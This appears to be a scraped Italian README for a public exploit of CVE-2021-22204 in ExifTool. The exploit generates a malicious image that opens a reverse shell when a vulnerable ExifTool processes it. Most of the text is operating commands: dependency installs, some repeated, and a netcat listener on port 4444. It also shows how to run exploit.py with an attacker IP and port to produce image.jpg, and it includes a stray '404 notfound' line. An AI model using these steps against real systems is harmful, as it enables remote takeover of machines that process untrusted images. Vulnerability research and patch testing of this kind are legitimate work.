mr-tuhin/cve-2021-22204-exiftoolExploit Python per CVE-2021-22204 in ExifTool, che genera un'immagine dannosa in grado di attivare una reverse shell quando viene elaborata da versioni vulnerabili.
Exploit Python per la vulnerabilità CVE-2021-22204 in Exiftool.
404 notfound
python3 python3-pip djvulibre-bin exiftool
apt-get install djvulibre-bin libimage-exiftool-perl python-minimal python-pip
apt-get install djvulibre-bin libimage-exiftool-perl python-minimal python-pip
pacman -S djvulibre libimage-exiftool-perl python python-pip
apt-get install djvulibre-bin libimage-exiftool-perl python-minimal python-pip
dnf install djvulibre libimage-exiftool-perl python-minimal python-pip
brew install djvulibre exiftool python
apt-get install djvulibre-bin libimage-exiftool-perl python-minimal python-pip
sudo pip install -r requirements.txt
nc -nvlp 4444
chmod +x exploit.py
python3 exploit.py {Il tuo indirizzo IP} {La tua porta in ascolto}
./exploit.py {Il tuo indirizzo IP} {La tua porta in ascolto}
python3 exploit.py 192.168.0.1 4444
./exploit.py 192.168.0.1 4444
image.jpg
La CVE-2021-22204 è stata scoperta e segnalata da William Bowling. (@wcbowling)
Questo exploit è stato creato studiando la patch di exiftool dopo che la CVE era già stata segnalata.
E image.jpg attiverà la vulnerabilità quando viene aperto con una versione vulnerabile di exiftool.